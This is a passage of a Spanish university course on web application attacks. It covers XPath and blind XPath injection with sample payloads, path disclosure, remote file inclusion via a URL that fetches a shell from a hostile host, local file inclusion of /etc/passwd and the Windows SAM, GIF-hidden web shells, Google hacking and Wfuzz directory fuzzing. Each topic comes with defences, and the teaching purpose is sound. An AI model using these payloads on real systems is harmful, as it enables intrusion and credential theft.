ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

